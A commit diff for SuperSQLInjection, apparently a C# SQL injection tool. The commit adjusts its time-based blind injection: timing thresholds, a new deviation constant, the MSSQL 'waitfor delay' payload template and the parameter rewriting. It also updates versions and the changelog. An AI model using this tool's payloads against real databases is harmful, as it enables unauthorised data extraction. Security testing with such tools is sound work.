update20190404
20190404 V1.0 正式版--- 修复延时注入部分情况下无法获取数据的问题,优化注入判断。
This commit is contained in:
@@ -311,7 +311,7 @@ namespace SuperSQLInjection
|
||||
return sid;
|
||||
}
|
||||
|
||||
public static int version = 20190403;
|
||||
public static int version = 20190404;
|
||||
public static string versionURL = "http://www.shack2.org/soft/getNewVersion?ENNAME=SSuperSQLInjection&NO=" + URLEncode.UrlEncode(getSid()) + "&VERSION=" + version;
|
||||
//检查更新
|
||||
public void checkUpdate()
|
||||
@@ -6859,8 +6859,8 @@ namespace SuperSQLInjection
|
||||
//读取payload
|
||||
List<String> sleep_list = FileTool.readFileToList("config/injection/sleep_injection.txt");
|
||||
|
||||
//测试平均时间5次
|
||||
int n = 5;
|
||||
//测试平均时间3次
|
||||
int n = 3;
|
||||
int index = 0;
|
||||
List<int> time_list = new List<int>();
|
||||
while (index < n)
|
||||
@@ -6875,7 +6875,7 @@ namespace SuperSQLInjection
|
||||
int avg = Tools.getMaxSecondByMillisecond(Tools.getAvg(time_list));
|
||||
if (avg != 0)
|
||||
{
|
||||
int time = avg + 2;
|
||||
int time = avg + 1;
|
||||
|
||||
if (config.timeOut < time)
|
||||
{
|
||||
@@ -6897,18 +6897,18 @@ namespace SuperSQLInjection
|
||||
config.timeOut += 5;
|
||||
}
|
||||
}
|
||||
String[] pals = cpal.Split(DBVers_Splite_Str);
|
||||
String[] pals = cpal.Split(DBVers_Splite_Str);
|
||||
String cpayload = pals[0].Replace("{time}", time.ToString());
|
||||
this.txt_log.Invoke(new showLogDelegate(log), "正在测试PayLoad:" + cpayload, LogLevel.info);
|
||||
ServerInfo sleepServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, cpayload, payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet);
|
||||
if (sleepServer.runTime > time * 1000)
|
||||
if (sleepServer.runTime > time * 1000-Tools.deviation)
|
||||
{
|
||||
this.cbox_inject_type.SelectedIndex = Convert.ToInt32(KeyType.Time);
|
||||
this.chk_inject_reverseKey.Checked = false;
|
||||
config.injectType = InjectType.Blind;
|
||||
sleepInject = true;
|
||||
selectInjectType(InjectType.Blind);
|
||||
newParam = strparam.Replace(param, param + "<Encode>" + cpayload.Replace(pals[3], setInjectStr) + "</Encode>");
|
||||
newParam = strparam.Replace(param, param + "<Encode>" + pals[0].Replace(pals[3], setInjectStr) + "</Encode>");
|
||||
config.request = request.Replace(strparam, newParam);
|
||||
this.txt_inject_request.Text = request.Replace(strparam, newParam);
|
||||
currentDB = pals[2];
|
||||
|
||||
@@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
||||
// 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值,
|
||||
// 方法是按如下所示使用“*”:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.2019.04.03")]
|
||||
[assembly: AssemblyFileVersion("1.2019.04.03")]
|
||||
[assembly: AssemblyVersion("1.2019.04.04")]
|
||||
[assembly: AssemblyFileVersion("1.2019.04.04")]
|
||||
|
||||
@@ -92,7 +92,7 @@ namespace SuperSQLInjection.payload
|
||||
|
||||
public static String getBoolDataBySleep(String data, int maxTime)
|
||||
{
|
||||
return " 1=1 if(" + data + ") waitfor delay '0:0:" + maxTime + "'";
|
||||
return " if(" + data + ") waitfor delay '0:0:" + maxTime + "'";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
||||
@@ -21,6 +21,9 @@ namespace tools
|
||||
{
|
||||
public const String httpLogPath = "logs/http/";
|
||||
|
||||
//由于计数器有误差(可能客户端计数小于服务端,,如果页面正常响应时间非常快,可能导致返回时间可能提前,所以考虑设置一个误差值)
|
||||
public const int deviation = 20;
|
||||
|
||||
public static long currentMillis()
|
||||
{
|
||||
return (long)(DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalMilliseconds;
|
||||
@@ -495,7 +498,7 @@ namespace tools
|
||||
case KeyType.Time:
|
||||
//由于计数器有误差(可能客户端计数小于服务端,,如果页面正常响应时间非常快,可能导致返回时间可能提前,所以考虑设置一个误差值)
|
||||
int time = Tools.convertToInt(key);
|
||||
if (server.runTime > (time*1000-(time*20)))
|
||||
if (server.runTime > (time*1000-(time*deviation)))
|
||||
{
|
||||
if (reverKey)
|
||||
{
|
||||
|
||||
@@ -1,8 +1,11 @@
|
||||
20190403 V1.0 正式版---
|
||||
20190404 V1.0 正式版---
|
||||
修复延时注入部分情况下无法获取数据的问题,优化注入判断。
|
||||
|
||||
20190403 V1.0 正式版---
|
||||
修复因为导入配置文件编码有可能为空值导致无法正确解码而报错无法获取数据的问题。(程序异常提示:获取值发生异常:“”不是支持的编码名)。
|
||||
|
||||
20190319 V1.0 正式版---
|
||||
修复变量无法复制问题。
|
||||
修复环境变量无法复制问题。
|
||||
修复MySQL部分情况下,当字段出现空值无法获取数据的问题。
|
||||
|
||||
20190310 V1.0 正式版---
|
||||
|
||||
Reference in New Issue
Block a user